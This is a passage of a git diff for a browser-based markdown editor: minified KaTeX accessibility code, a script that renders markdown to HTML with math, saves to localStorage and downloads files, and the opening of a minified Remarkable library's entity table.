text")}));break;case"textord":b(e.text,a,r);break;case"smash":f(e.body,r,a);break;case"enclose":if(/cancel/.test(e.label)){h(r,(function(r){r.push("start cancel"),f(e.body,r,a),r.push("end cancel")}));break}if(/box/.test(e.label)){h(r,(function(r){r.push("start box"),f(e.body,r,a),r.push("end box")}));break}if(/sout/.test(e.label)){h(r,(function(r){r.push("start strikeout"),f(e.body,r,a),r.push("end strikeout")}));break}if(/phase/.test(e.label)){h(r,(function(r){r.push("start phase angle"),f(e.body,r,a),r.push("end phase angle")}));break}throw new Error("KaTeX-a11y: enclose node with "+e.label+" not supported yet");case"vcenter":f(e.body,r,a);break;case"vphantom":throw new Error("KaTeX-a11y: vphantom not implemented yet");case"hphantom":throw new Error("KaTeX-a11y: hphantom not implemented yet");case"operatorname":f(e.body,r,a);break;case"array":throw new Error("KaTeX-a11y: array not implemented yet");case"raw":throw new Error("KaTeX-a11y: raw not implemented yet");case"size":break;case"url":throw new Error("KaTeX-a11y: url not implemented yet");case"tag":throw new Error("KaTeX-a11y: tag not implemented yet");case"verb":b("start verbatim","normal",r),b(e.body,"normal",r),b("end verbatim","normal",r);break;case"environment":throw new Error("KaTeX-a11y: environment not implemented yet");case"horizBrace":b("start "+e.label.slice(1),"normal",r),f(e.base,r,a),b("end "+e.label.slice(1),"normal",r);break;case"infix":break;case"includegraphics":throw new Error("KaTeX-a11y: includegraphics not implemented yet");case"font":f(e.body,r,a);break;case"href":throw new Error("KaTeX-a11y: href not implemented yet");case"cr":throw new Error("KaTeX-a11y: cr not implemented yet");case"underline":h(r,(function(r){r.push("start underline"),f(e.body,r,a),r.push("end underline")}));break;case"xArrow":throw new Error("KaTeX-a11y: xArrow not implemented yet");case"cdlabel":throw new Error("KaTeX-a11y: cdlabel not implemented yet");case"cdlabelparent":throw new Error("KaTeX-a11y: cdlabelparent not implemented yet");case"mclass":var w=e.mclass.slice(1);f(e.body,r,w);break;case"mathchoice":f(e.text,r,a);break;case"htmlmathml":f(e.mathml,r,a);break;case"middle":b(e.delim,a,r);break;case"internal":break;case"html":f(e.body,r,a);break;default:throw e.type,new Error("KaTeX a11y un-recognized type: "+e.type)}},f=function e(r,a,t){if(void 0===a&&(a=[]),r instanceof Array)for(var o=0;o { + const htmlDiv = document.getElementById("html-output"); + renderMathInElement(htmlDiv, { + delimiters: [ + {left: "$$", right: "$$", display: true}, + {left: "$", right: "$", display: false} + ], + throwError: false, + }); +} + +const download = async (filename, mime, text) => { + let ele = document.createElement("a"); + ele.setAttribute("href", "data:" + mime + ";charset=utf-8," + encodeURIComponent(text)); + ele.setAttribute("download", filename); + ele.style.display = 'none'; + document.body.appendChild(ele); + ele.click(); + document.body.removeChild(ele); +}; + +const downloadMd = async () => { + const md = document.getElementById("markdown-input"); + download("markdown.md", "text/plain", md.value); +}; + +const getRequiredCss = async () => { + let css = ""; + const css1 = document.getElementById("main-stylesheet").sheet; + const css2 = document.getElementById("math-stylesheet").sheet; + css += Array.from(css1.cssRules).map(rule => rule.cssText).join(' '); + css += Array.from(css2.cssRules).map(rule => rule.cssText).join(' '); + return css +}; + +const downloadHTML = async () => { + const css = await getRequiredCss(); + const htmlEle = document.getElementById("html-output"); + let html = ""; + html += htmlEle.innerHTML; + html += ""; + download("output.html", "text/html", html); +}; + +const setStatus = async (msg) => { + const statusBox = document.getElementById("status"); + statusBox.innerText = msg; +}; + +const saveHTML = async () => { + setStatus("Saving HTML..."); + const html = document.getElementById("html-output"); + localStorage.setItem(SAVE_HTML_KEY, html.innerHTML); + setStatus("Saved"); +}; + +const saveMd = async () => { + setStatus("Saving markdown..."); + const md = document.getElementById("markdown-input"); + localStorage.setItem(SAVE_MD_KEY, md.value); + setStatus("Saved"); +}; + +const renderHTML = async () => { + setStatus("Rendering..."); + const md = new remarkable.Remarkable({ + html: true, + }); + const markdownInput = document.getElementById("markdown-input"); + const htmlOutput = document.getElementById("html-output"); + const newHtml = md.render(markdownInput.value); + htmlOutput.innerHTML = newHtml; + updateRender(); + saveMd(); + saveHTML(); + setStatus("Done"); +} + +document.addEventListener("DOMContentLoaded", async () => { + console.log("loaded"); + + // preload save + if (localStorage.getItem(SAVE_HTML_KEY) !== null){ + const html = document.getElementById("html-output"); + html.innerHTML = localStorage.getItem(SAVE_HTML_KEY); + } + if (localStorage.getItem(SAVE_MD_KEY) !== null){ + const md = document.getElementById("markdown-input"); + md.value = localStorage.getItem(SAVE_MD_KEY); + } + + const updateBtn = document.getElementById("update-html"); + updateBtn.addEventListener("click", renderHTML); + + const saveMdBtn = document.getElementById("save-markdown"); + saveMdBtn.addEventListener("click", saveMd); + + const saveHTMLBtn = document.getElementById("save-html"); + saveHTMLBtn.addEventListener("click", saveHTML); + + const downloadMdBtn = document.getElementById("download-markdown"); + downloadMdBtn.addEventListener("click", downloadMd); + const downloadHTMLBtn = document.getElementById("download-html"); + downloadHTMLBtn.addEventListener("click", downloadHTML); +}); diff --git a/assets/js/md/remarkable.js b/assets/js/md/remarkable.js new file mode 100644 index 0000000..cebb38f --- /dev/null +++ b/assets/js/md/remarkable.js @@ -0,0 +1 @@ +!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e=e||self).remarkable={})}(this,function(e){"use strict";var t={Aacute:"Á",aacute:"á",Abreve:"Ă",abreve:"ă",ac:"∾",acd:"∿",acE:"∾̳",Acirc:"Â",acirc:"â",acute:"´",Acy:"А",acy:"а",AElig:"Æ",aelig:"æ",af:"⁡",Afr:"𝔄",afr:"𝔞",Agrave:"À",agrave:"à",alefsym:"ℵ",aleph:"ℵ",Alpha:"Α",alpha:"α",Amacr:"Ā",amacr:"ā",amalg:"⨿",AMP:"&",amp:"&",And:"⩓",and:"∧",andand:"⩕",andd:"⩜",andslope:"⩘",andv:"⩚",ang:"∠",ange:"⦤",angle:"∠",angmsd:"∡",angmsdaa:"⦨",angmsdab:"⦩",angmsdac:"⦪",angmsdad:"⦫",angmsdae:"⦬",angmsdaf:"⦭",angmsdag:"⦮",angmsdah:"⦯",angrt:"∟",angrtvb:"⊾",angrtvbd:"⦝",angsph:"∢",angst:"Å",angzarr:"⍼",Aogon:"Ą",aogon:"ą",Aopf:"𝔸",aopf:"𝕒",ap:"≈",apacir:"⩯",apE:"⩰",ape:"≊",apid:"≋",apos:"'",ApplyFunction:"⁡",approx:"≈",approxeq:"≊",Aring:"Å",aring:"å",Ascr:"𝒜",ascr:"𝒶",Assign:"≔",ast:"*",asymp:"≈",asympeq:"≍",Atilde:"Ã",atilde:"ã",Auml:"Ä",auml:"ä",awconint:"∳",awint:"⨑",backcong:"≌",backepsilon:"϶",backprime:"‵",backsim:"∽",backsimeq:"⋍",Backslash:"∖",Barv:"⫧",barvee:"⊽",Barwed:"⌆",barwed:"⌅",barwedge:"⌅",bbrk:"⎵",bbrktbrk:"⎶",bcong:"≌",Bcy:"Б",bcy:"б",bdquo:"„",becaus:"∵",Because:"∵",because:"∵",bemptyv:"⦰",bepsi:"϶",bernou:"ℬ",Bernoullis:"ℬ",Beta:"Β",beta:"β",beth:"ℶ",between:"≬",Bfr:"𝔅",bfr:"𝔟",bigcap:"⋂",bigcirc:"◯",bigcup:"⋃",bigodot:"⨀",bigoplus:"⨁",bigotimes:"⨂",bigsqcup:"⨆",bigstar:"★",bigtriangledown:"▽",bigtriangleup:"△",biguplus:"⨄",bigvee:"⋁",bigwedge:"⋀",bkarow:"⤍",blacklozenge:"⧫",blacksquare:"▪",blacktriangle:"▴",blacktriangledown:"▾",blacktriangleleft:"◂",blacktriangleright:"▸",blank:"␣",blk12:"▒",blk14:"░",blk34:"▓",block:"█",bne:"=⃥",bnequiv:"≡⃥",bNot:"⫭",bnot:"⌐",Bopf:"𝔹",bopf:"𝕓",bot:"⊥",bottom:"⊥",bowtie:"⋈",boxbox:"⧉",boxDL:"╗",boxDl:"╖",boxdL:"╕",boxdl:"┐",boxDR:"╔",boxDr:"╓",boxdR:"╒",boxdr:"┌",boxH:"═",boxh:"─",boxHD:"╦",boxHd:"╤",boxhD:"╥",boxhd:"┬",boxHU:"╩",boxHu:"╧",boxhU:"╨",boxhu:"┴",boxminus:"⊟",boxplus:"⊞",boxtimes:"⊠",boxUL:"╝",boxUl:"╜",boxuL:"╛",boxul:"┘",boxUR:"╚",boxUr:"╙",boxuR:"╘",boxur:"└",boxV:"║",boxv:"│",boxVH:"╬",boxVh:"╫",boxvH:"╪",boxvh:"┼",boxVL:"╣",boxVl:"╢",boxvL:"╡",boxvl:"┤",boxVR:"╠",boxVr:"╟",boxvR:"╞",boxvr:"├",bprime:"‵",Breve:"˘",breve:"˘",brvbar:"¦",Bscr:"ℬ",bscr:"𝒷",bsemi:"⁏",bsim:"∽",bsime:"⋍",bsol:"\\",bsolb:"⧅",bsolhsub:"⟈",bull:"•",bullet:"•",bump:"≎",bumpE:"⪮",bumpe:"≏",Bumpeq:"≎",bumpeq:"≏",Cacute:"Ć",cacute:"ć",Cap:"⋒",cap:"∩",capand:"⩄",capbrcup:"⩉",capcap:"⩋",capcup:"⩇",capdot:"⩀",CapitalDifferentialD:"ⅅ",caps:"∩︀",caret:"⁁",caron:"ˇ",Cayleys:"ℭ",ccaps:"⩍",Ccaron:"Č",ccaron:"č",Ccedil:"Ç",ccedil:"ç",Ccirc:"Ĉ",ccirc:"ĉ",Cconint:"∰",ccups:"⩌",ccupssm:"⩐",Cdot:"Ċ",cdot:"ċ",cedil:"¸",Cedilla:"¸",cemptyv:"⦲",cent:"¢",CenterDot:"·",centerdot:"·",Cfr:"ℭ",cfr:"𝔠",CHcy:"Ч",chcy:"ч",check:"✓",checkmark:"✓",Chi:"Χ",chi:"χ",cir:"○",circ:"ˆ",circeq:"≗",circlearrowleft:"↺",circlearrowright:"↻",circledast:"⊛",circledcirc:"⊚",circleddash:"⊝",CircleDot:"⊙",circledR:"®",circledS:"Ⓢ",CircleMinus:"⊖",CirclePlus:"⊕",CircleTimes:"⊗",cirE:"⧃",cire:"≗",cirfnint:"⨐",cirmid:"⫯",cirscir:"⧂",ClockwiseContourIntegral:"∲",CloseCurlyDoubleQuote:"”",CloseCurlyQuote:"’",clubs:"♣",clubsuit:"♣",Colon:"∷",colon:":",Colone:"⩴",colone:"≔",coloneq:"≔",comma:",",commat:"@",comp:"∁",compfn:"∘",complement:"∁",complexes:"ℂ",cong:"≅",congdot:"⩭",Congruent:"≡",Conint:"∯",conint:"∮",ContourIntegral:"∮",Copf:"ℂ",copf:"𝕔",coprod:"∐",Coproduct:"∐",COPY:"©",copy:"©",copysr:"℗",CounterClockwiseContourIntegral:"∳",crarr:"↵",Cross:"⨯",cross:"✗",Cscr:"𝒞",cscr:"𝒸",csub:"⫏",csube:"⫑",csup:"⫐",csupe:"⫒",ctdot:"⋯",cudarrl:"⤸",cudarrr:"⤵",cuepr:"⋞",cuesc:"⋟",cularr:"↶",cularrp:"⤽",Cup:"⋓",cup:"∪",cupbrcap:"⩈",CupCap:"≍",cupcap:"⩆",cupcup:"⩊",cupdot:"⊍",cupor:"⩅",cups:"∪︀",curarr:"↷",curarrm:"⤼",curlyeqprec:"⋞",curlyeqsucc:"⋟",curlyvee:"⋎",curlywedge:"⋏",curren:"¤",curvearrowleft:"↶",curvearrowright:"↷",cuvee:"⋎",cuwed:"⋏",cwconint:"∲",cwint:"∱",cylcty:"⌭",Dagger:"‡",dagger:"†",daleth:"ℸ",Darr:"↡",dArr:"⇓",darr:"↓",dash:"‐",Dashv:"⫤",dashv:"⊣",dbkarow:"⤏",dblac:"˝",Dcaron:"Ď",dcaron:"ď",Dcy:"Д",dcy:"д",DD:"ⅅ",dd:"ⅆ",ddagger:"‡",ddarr:"⇊",DDotrahd:"⤑",ddotseq:"⩷",deg:"°",Del:"∇",Delta:"Δ",delta:"δ",demptyv:"⦱",dfisht:"⥿",Dfr:"𝔇",dfr:"𝔡",dHar:"⥥",dharl:"⇃",dharr:"⇂",DiacriticalAcute:"´",DiacriticalDot:"˙",DiacriticalDoubleAcute:"˝",DiacriticalGrave:"`",DiacriticalTilde:"˜",diam:"⋄",Diamond:"⋄",diamond:"⋄",diamondsuit:"♦",diams:"♦",die:"¨",DifferentialD:"ⅆ",digamma:"ϝ",disin:"⋲",div:"÷",divide:"÷",divideontimes:"⋇",divonx:"⋇",DJcy:"Ђ",djcy:"ђ",dlcorn:"⌞",dlcrop:"⌍",dollar:"$",Dopf:"𝔻",dopf:"𝕕",Dot:"¨",dot:"˙",DotDot:"⃜",doteq:"≐",doteqdot:"≑",DotEqual:"≐",dotminus:"∸",dotplus:"∔",dotsquare:"⊡",doublebarwedge:"⌆",DoubleContourIntegral:"∯",DoubleDot:"¨",DoubleDownArrow:"⇓",DoubleLeftArrow:"⇐",DoubleLeftRightArrow:"⇔",DoubleLeftTee:"⫤",DoubleLongLeftArrow:"⟸",DoubleLongLeftRightArrow:"⟺",DoubleLongRightArrow:"⟹",DoubleRightArrow:"⇒",DoubleRightTee:"⊨",DoubleUpArrow:"⇑",DoubleUpDownArrow:"⇕",DoubleVerticalBar:"∥",DownArrow:"↓",Downarrow:"⇓",downarrow:"↓",DownArrowBar:"⤓",DownArrowUpArrow:"⇵",DownBreve:"̑",downdownarrows:"⇊",downharpoonleft:"⇃",downharpoonright:"⇂",DownLeftRightVector:"⥐",DownLeftTeeVector:"⥞",DownLeftVector:"↽",DownLeftVectorBar:"⥖",DownRightTeeVector:"⥟",DownRightVector:"⇁",DownRightVectorBar:"⥗",DownTee:"⊤",DownTeeArrow:"↧",drbkarow:"⤐",drcorn:"⌟",drcrop:"⌌",Dscr:"𝒟",dscr:"𝒹",DScy:"Ѕ",dscy:"ѕ",dsol:"⧶",Dstrok:"Đ",dstrok:"đ",dtdot:"⋱",dtri:"▿",dtrif:"▾",duarr:"⇵",duhar:"⥯",dwangle:"⦦",DZcy:"Џ",dzcy:"џ",dzigrarr:"⟿",Eacute:"É",eacute:"é",easter:"⩮",Ecaron:"Ě",ecaron:"ě",ecir:"≖",Ecirc:"Ê",ecirc:"ê",ecolon:"≕",Ecy:"Э",ecy:"э",eDDot:"⩷",Edot:"Ė",eDot:"≑",edot:"ė",ee:"ⅇ",efDot:"≒",Efr:"𝔈",efr:"𝔢",eg:"⪚",Egrave:"È",egrave:"è",egs:"⪖",egsdot:"⪘",el:"⪙",Element:"∈",elinters:"⏧",ell:"ℓ",els:"⪕",elsdot:"⪗",Emacr:"Ē",emacr:"ē",empty:"∅",emptyset:"∅",EmptySmallSquare:"◻",emptyv:"∅",EmptyVerySmallSquare:"▫",emsp:" ",emsp13:" ",emsp14:" ",ENG:"Ŋ",eng:"ŋ",ensp:" ",Eogon:"Ę",eogon:"ę",Eopf:"𝔼",eopf:"𝕖",epar:"⋕",eparsl:"⧣",eplus:"⩱",epsi:"ε",Epsilon:"Ε",epsilon:"ε",epsiv:"ϵ",eqcirc:"≖",eqcolon:"≕",eqsim:"≂",eqslantgtr:"⪖",eqslantless:"⪕",Equal:"⩵",equals:"=",EqualTilde:"≂",equest:"≟",Equilibrium:"⇌",equiv:"≡",equivDD:"⩸",eqvparsl:"⧥",erarr:"⥱",erDot:"≓",Escr:"ℰ",escr:"ℯ",esdot:"≐",Esim:"⩳",esim:"≂",Eta:"Η",eta:"η",ETH:"Ð",eth:"ð",Euml:"Ë",euml:"ë",euro:"€",excl:"!",exist:"∃",Exists:"∃",expectation:"ℰ",ExponentialE:"ⅇ",exponentiale:"ⅇ",fallingdotseq:"≒",Fcy:"Ф",fcy:"ф",female:"♀",ffilig:"ffi",fflig:"ff",ffllig:"ffl",Ffr:"𝔉",ffr:"𝔣",filig:"fi",FilledSmallSquare:"◼",FilledVerySmallSquare:"▪",fjlig:"fj",flat:"♭",fllig:"fl",fltns:"▱",fnof:"ƒ",Fopf:"𝔽",fopf:"𝕗",ForAll:"∀",forall:"∀",fork:"⋔",forkv:"⫙",Fouriertrf:"ℱ",fpartint:"⨍",frac12:"½",frac13:"⅓",frac14:"¼",frac15:"⅕",frac16:"⅙",frac18:"⅛",frac23:"⅔",frac25:"⅖",frac34:"¾",frac35:"⅗",frac38:"⅜",frac45:"⅘",frac56:"⅚",frac58:"⅝",frac78:"⅞",frasl:"⁄",frown:"⌢",Fscr:"ℱ",fscr:"𝒻",gacute:"ǵ",Gamma:"Γ",gamma:"γ",Gammad:"Ϝ",gammad:"ϝ",gap:"⪆",Gbreve:"Ğ",gbreve:"ğ",Gcedil:"Ģ",Gcirc:"Ĝ",gcirc:"ĝ",Gcy:"Г",gcy:"г",Gdot:"Ġ",gdot:"ġ",gE:"≧",ge:"≥",gEl:"⪌",gel:"⋛",geq:"≥",geqq:"≧",geqslant:"⩾",ges:"⩾",gescc:"⪩",gesdot:"⪀",gesdoto:"⪂",gesdotol:"⪄",gesl:"⋛︀",gesles:"⪔",Gfr:"𝔊",gfr:"𝔤",Gg:"⋙",gg:"≫",ggg:"⋙",gimel:"ℷ",GJcy:"Ѓ",gjcy:"ѓ",gl:"≷",gla:"⪥",glE:"⪒",glj:"⪤",gnap:"⪊",gnapprox:"⪊",gnE:"≩",gne:"⪈",gneq:"⪈",gneqq:"≩",gnsim:"⋧",Gopf:"𝔾",gopf:"𝕘",grave:"`",GreaterEqual:"≥",GreaterEqualLess:"⋛",GreaterFullEqual:"≧",GreaterGreater:"⪢",GreaterLess:"≷",GreaterSlantEqual:"⩾",GreaterTilde:"≳",Gscr:"𝒢",gscr:"ℊ",gsim:"≳",gsime:"⪎",gsiml:"⪐",GT:">",Gt:"≫",gt:">",gtcc:"⪧",gtcir:"⩺",gtdot:"⋗",gtlPar:"⦕",gtquest:"⩼",gtrapprox:"⪆",gtrarr:"⥸",gtrdot:"⋗",gtreqless:"⋛",gtreqqless:"⪌",gtrless:"≷",gtrsim:"≳",gvertneqq:"≩︀",gvnE:"≩︀",Hacek:"ˇ",hairsp:" ",half:"½",hamilt:"ℋ",HARDcy:"Ъ",hardcy:"ъ",hArr:"⇔",harr:"↔",harrcir:"⥈",harrw:"↭",Hat:"^",hbar:"ℏ",Hcirc:"Ĥ",hcirc:"ĥ",hearts:"♥",heartsuit:"♥",hellip:"…",hercon:"⊹",Hfr:"ℌ",hfr:"𝔥",HilbertSpace:"ℋ",hksearow:"⤥",hkswarow:"⤦",hoarr:"⇿",homtht:"∻",hookleftarrow:"↩",hookrightarrow:"↪",Hopf:"ℍ",hopf:"𝕙",horbar:"―",HorizontalLine:"─",Hscr:"ℋ",hscr:"𝒽",hslash:"ℏ",Hstrok:"Ħ",hstrok:"ħ",HumpDownHump:"≎",HumpEqual:"≏",hybull:"⁃",hyphen:"‐",Iacute:"Í",iacute:"í",ic:"⁣",Icirc:"Î",icirc:"î",Icy:"И",icy:"и",Idot:"İ",IEcy:"Е",iecy:"е",iexcl:"¡",iff:"⇔",Ifr:"ℑ",ifr:"𝔦",Igrave:"Ì",igrave:"ì",ii:"ⅈ",iiiint:"⨌",iiint:"∭",iinfin:"⧜",iiota:"℩",IJlig:"IJ",ijlig:"ij",Im:"ℑ",Imacr:"Ī",imacr:"ī",image:"ℑ",ImaginaryI:"ⅈ",imagline:"ℐ",imagpart:"ℑ",imath:"ı",imof:"⊷",imped:"Ƶ",Implies:"⇒",in:"∈",incare:"℅",infin:"∞",infintie:"⧝",inodot:"ı",Int:"∬",int:"∫",intcal:"⊺",integers:"ℤ",Integral:"∫",intercal:"⊺",Intersection:"⋂",intlarhk:"⨗",intprod:"⨼",InvisibleComma:"⁣",InvisibleTimes:"⁢",IOcy:"Ё",iocy:"ё",Iogon:"Į",iogon:"į",Iopf:"𝕀",iopf:"𝕚",Iota:"Ι",iota:"ι",iprod:"⨼",iquest:"¿",Iscr:"ℐ",iscr:"𝒾",isin:"∈",isindot:"⋵",isinE:"⋹",isins:"⋴",isinsv:"⋳",isinv:"∈",it:"⁢",Itilde:"Ĩ",itilde:"ĩ",Iukcy:"І",iukcy:"і",Iuml:"Ï",iuml:"ï",Jcirc:"Ĵ",jcirc:"ĵ",Jcy:"Й",jcy:"й",Jfr:"𝔍",jfr:"𝔧",jmath:"ȷ",Jopf:"𝕁",jopf:"𝕛",Jscr:"𝒥",jscr:"𝒿",Jsercy:"Ј",jsercy:"ј",Jukcy:"Є",jukcy:"є",Kappa:"Κ",kappa:"κ",kappav:"ϰ",Kcedil:"Ķ",kcedil:"ķ",Kcy:"К",kcy:"к",Kfr:"𝔎",kfr:"𝔨",kgreen:"ĸ",KHcy:"Х",khcy:"х",KJcy:"Ќ",kjcy:"ќ",Kopf:"𝕂",kopf:"𝕜",Kscr:"𝒦",kscr:"𝓀",lAarr:"⇚",Lacute:"Ĺ",lacute:"ĺ",laemptyv:"⦴",lagran:"ℒ",Lambda:"Λ",lambda:"λ",Lang:"⟪",lang:"⟨",langd:"⦑",langle:"⟨",lap:"⪅",Laplacetrf:"ℒ",laquo:"«",Larr:"↞",lArr:"⇐",larr:"←",larrb:"⇤",larrbfs:"⤟",larrfs:"⤝",larrhk:"↩",larrlp:"↫",larrpl:"⤹",larrsim:"⥳",larrtl:"↢",lat:"⪫",lAtail:"⤛",latail:"⤙",late:"⪭",lates:"⪭︀",lBarr:"⤎",lbarr:"⤌",lbbrk:"❲",lbrace:"{",lbrack:"[",lbrke:"⦋",lbrksld:"⦏",lbrkslu:"⦍",Lcaron:"Ľ",lcaron:"ľ",Lcedil:"Ļ",lcedil:"ļ",lceil:"⌈",lcub:"{",Lcy:"Л",lcy:"л",ldca:"⤶",ldquo:"“",ldquor:"„",ldrdhar:"⥧",ldrushar:"⥋",ldsh:"↲",lE:"≦",le:"≤",LeftAngleBracket:"⟨",LeftArrow:"←",Leftarrow:"⇐",leftarrow:"←",LeftArrowBar:"⇤",LeftArrowRightArrow:"⇆",leftarrowtail:"↢",LeftCeiling:"⌈",LeftDoubleBracket:"⟦",LeftDownTeeVector:"⥡",LeftDownVector:"⇃",LeftDownVectorBar:"⥙",LeftFloor:"⌊",leftharpoondown:"↽",leftharpoonup:"↼",leftleftarrows:"⇇",LeftRightArrow:"↔",Leftrightarrow:"⇔",leftrightarrow:"↔",leftrightarrows:"⇆",leftrightharpoons:"⇋",leftrightsquigarrow:"↭",LeftRightVector:"⥎",LeftTee:"⊣",LeftTeeArrow:"↤",LeftTeeVector:"⥚",leftthreetimes:"⋋",LeftTriangle:"⊲",LeftTriangleBar:"⧏",LeftTriangleEqual:"⊴",LeftUpDownVector:"⥑",LeftUpTeeVector:"⥠",LeftUpVector:"↿",LeftUpVectorBar:"⥘",LeftVector:"↼",LeftVectorBar:"⥒",lEg:"⪋",leg:"⋚",leq:"≤",leqq:"≦",leqslant:"⩽",les:"⩽",lescc:"⪨",lesdot:"⩿",lesdoto:"⪁",lesdotor:"⪃",lesg:"⋚︀",lesges:"⪓",lessapprox:"⪅",lessdot:"⋖",lesseqgtr:"⋚",lesseqqgtr:"⪋",LessEqualGreater:"⋚",LessFullEqual:"≦",LessGreater:"≶",lessgtr:"≶",LessLess:"⪡",lesssim:"≲",LessSlantEqual:"⩽",LessTilde:"≲",lfisht:"⥼",lfloor:"⌊",Lfr:"𝔏",lfr:"𝔩",lg:"≶",lgE:"⪑",lHar:"⥢",lhard:"↽",lharu:"↼",lharul:"⥪",lhblk:"▄",LJcy:"Љ",ljcy:"љ",Ll:"⋘",ll:"≪",llarr:"⇇",llcorner:"⌞",Lleftarrow:"⇚",llhard:"⥫",lltri:"◺",Lmidot:"Ŀ",lmidot:"ŀ",lmoust:"⎰",lmoustache:"⎰",lnap:"⪉",lnapprox:"⪉",lnE:"≨",lne:"⪇",lneq:"⪇",lneqq:"≨",lnsim:"⋦",loang:"⟬",loarr:"⇽",lobrk:"⟦",LongLeftArrow:"⟵",Longleftarrow:"⟸",longleftarrow:"⟵",LongLeftRightArrow:"⟷",Longleftrightarrow:"⟺",longleftrightarrow:"⟷",longmapsto:"⟼",LongRightArrow:"⟶",Longrightarrow:"⟹",longrightarrow:"⟶",looparrowleft:"↫",looparrowright:"↬",lopar:"⦅",Lopf:"𝕃",lopf:"𝕝",loplus:"⨭",lotimes:"⨴",lowast:"∗",lowbar:"_",LowerLeftArrow:"↙",LowerRightArrow:"↘",loz:"◊",lozenge:"◊",lozf:"⧫",lpar:"(",lparlt:"⦓",lrarr:"⇆",lrcorner:"⌟",lrhar:"⇋",lrhard:"⥭",lrm:"‎",lrtri:"⊿",lsaquo:"‹",Lscr:"ℒ",lscr:"𝓁",Lsh:"↰",lsh:"↰",lsim:"≲",lsime:"⪍",lsimg:"⪏",lsqb:"[",lsquo:"‘",lsquor:"‚",Lstrok:"Ł",lstrok:"ł",LT:"<",Lt:"≪",lt:"<",ltcc:"⪦",ltcir:"⩹",ltdot:"⋖",lthree:"⋋",ltimes:"⋉",ltlarr:"⥶",ltquest:"⩻",ltri:"◃",ltrie:"⊴",ltrif:"◂",ltrPar:"⦖",lurdshar:"⥊",luruhar:"⥦",lvertneqq:"≨︀",lvnE:"≨︀",macr:"¯",male:"♂",malt:"✠",maltese:"✠",Map:"⤅",map:"↦",mapsto:"↦",mapstodown:"↧",mapstoleft:"↤",mapstoup:"↥",marker:"▮",mcomma:"⨩",Mcy:"М",mcy:"м",mdash:"—",mDDot:"∺",measuredangle:"∡",MediumSpace:" ",Mellintrf:"ℳ",Mfr:"𝔐",mfr:"𝔪",mho:"℧",micro:"µ",mid:"∣",midast:"*",midcir:"⫰",middot:"·",minus:"−",minusb:"⊟",minusd:"∸",minusdu:"⨪",MinusPlus:"∓",mlcp:"⫛",mldr:"…",mnplus:"∓",models:"⊧",Mopf:"𝕄",mopf:"𝕞",mp:"∓",Mscr:"ℳ",mscr:"𝓂",mstpos:"∾",Mu:"Μ",mu:"μ",multimap:"⊸",mumap:"⊸",nabla:"∇",Nacute:"Ń",nacute:"ń",nang:"∠⃒",nap:"≉",napE:"⩰̸",napid:"≋̸",napos:"ʼn",napprox:"≉",natur:"♮",natural:"♮",naturals:"ℕ",nbsp:" ",nbump:"≎̸",nbumpe:"≏̸",ncap:"⩃",Ncaron:"Ň",ncaron:"ň",Ncedil:"Ņ",ncedil:"ņ",ncong:"≇",ncongdot:"⩭̸",ncup:"⩂",Ncy:"Н",ncy:"н",ndash:"–",ne:"≠",nearhk:"⤤",neArr:"⇗",nearr:"↗",nearrow:"↗",nedot:"≐̸",NegativeMediumSpace:"​",NegativeThickSpace:"​",NegativeThinSpace:"​",NegativeVeryThinSpace:"​",nequiv:"≢",nesear:"⤨",nesim:"≂̸",NestedGreaterGreater:"≫",NestedLessLess:"≪",NewLine:"\n",nexist:"∄",nexists:"∄",Nfr:"𝔑",nfr:"𝔫",ngE:"≧̸",nge:"≱",ngeq:"≱",ngeqq:"≧̸",ngeqslant:"⩾̸",nges:"⩾̸",nGg:"⋙̸",ngsim:"≵",nGt:"≫⃒",ngt:"≯",ngtr:"≯",nGtv:"≫̸",nhArr:"⇎",nharr:"↮",nhpar:"⫲",ni:"∋",nis:"⋼",nisd:"⋺",niv:"∋",NJcy:"Њ",njcy:"њ",nlArr:"⇍",nlarr:"↚",nldr:"‥",nlE:"≦̸",nle:"≰",nLeftarrow:"⇍",nleftarrow:"↚",nLeftrightarrow:"⇎",nleftrightarrow:"↮",nleq:"≰",nleqq:"≦̸",nleqslant:"⩽̸",nles:"⩽̸",nless:"≮",nLl:"⋘̸",nlsim:"≴",nLt:"≪⃒",nlt:"≮",nltri:"⋪",nltrie:"⋬",nLtv:"≪̸",nmid:"∤",NoBreak:"⁠",NonBreakingSpace:" ",Nopf:"ℕ",nopf:"𝕟",Not:"⫬",not:"¬",NotCongruent:"≢",NotCupCap:"≭",NotDoubleVerticalBar:"∦",NotElement:"∉",NotEqual:"≠",NotEqualTilde:"≂̸",NotExists:"∄",NotGreater:"≯",NotGreaterEqual:"≱",NotGreaterFullEqual:"≧̸",NotGreaterGreater:"≫̸",NotGreaterLess:"≹",NotGreaterSlantEqual:"⩾̸",NotGreaterTilde:"≵",NotHumpDownHump:"≎̸",NotHumpEqual:"≏̸",notin:"∉",notindot:"⋵̸",notinE:"⋹̸",notinva:"∉",notinvb:"⋷",notinvc:"⋶",NotLeftTriangle:"⋪",NotLeftTriangleBar:"⧏̸",NotLeftTriangleEqual:"⋬",NotLess:"≮",NotLessEqual:"≰",NotLessGreater:"≸",NotLessLess:"≪̸",NotLessSlantEqual:"⩽̸",NotLessTilde:"≴",NotNestedGreaterGreater:"⪢̸",NotNestedLessLess:"⪡̸",notni:"∌",notniva:"∌",notnivb:"⋾",notnivc:"⋽",NotPrecedes:"⊀",NotPrecedesEqual:"⪯̸",NotPrecedesSlantEqual:"⋠",NotReverseElement:"∌",NotRightTriangle:"⋫",NotRightTriangleBar:"⧐̸",NotRightTriangleEqual:"⋭",NotSquareSubset:"⊏̸",NotSquareSubsetEqual:"⋢",NotSquareSuperset:"⊐̸",NotSquareSupersetEqual:"⋣",NotSubset:"⊂⃒",NotSubsetEqual:"⊈",NotSucceeds:"⊁",NotSucceedsEqual:"⪰̸",NotSucceedsSlantEqual:"⋡",NotSucceedsTilde:"≿̸",NotSuperset:"⊃⃒",NotSupersetEqual:"⊉",NotTilde:"≁",NotTildeEqual:"≄",NotTildeFullEqual:"≇",NotTildeTilde:"≉",NotVerticalBar:"∤",npar:"∦",nparallel:"∦",nparsl:"⫽⃥",npart:"∂̸",npolint:"⨔",npr:"⊀",nprcue:"⋠",npre:"⪯̸",nprec:"⊀",npreceq:"⪯̸",nrArr:"⇏",nrarr:"↛",nrarrc:"⤳̸",nrarrw:"↝̸",nRightarrow:"⇏",nrightarrow:"↛",nrtri:"⋫",nrtrie:"⋭",nsc:"⊁",nsccue:"⋡",nsce:"⪰̸",Nscr:"𝒩",nscr:"𝓃",nshortmid:"∤",nshortp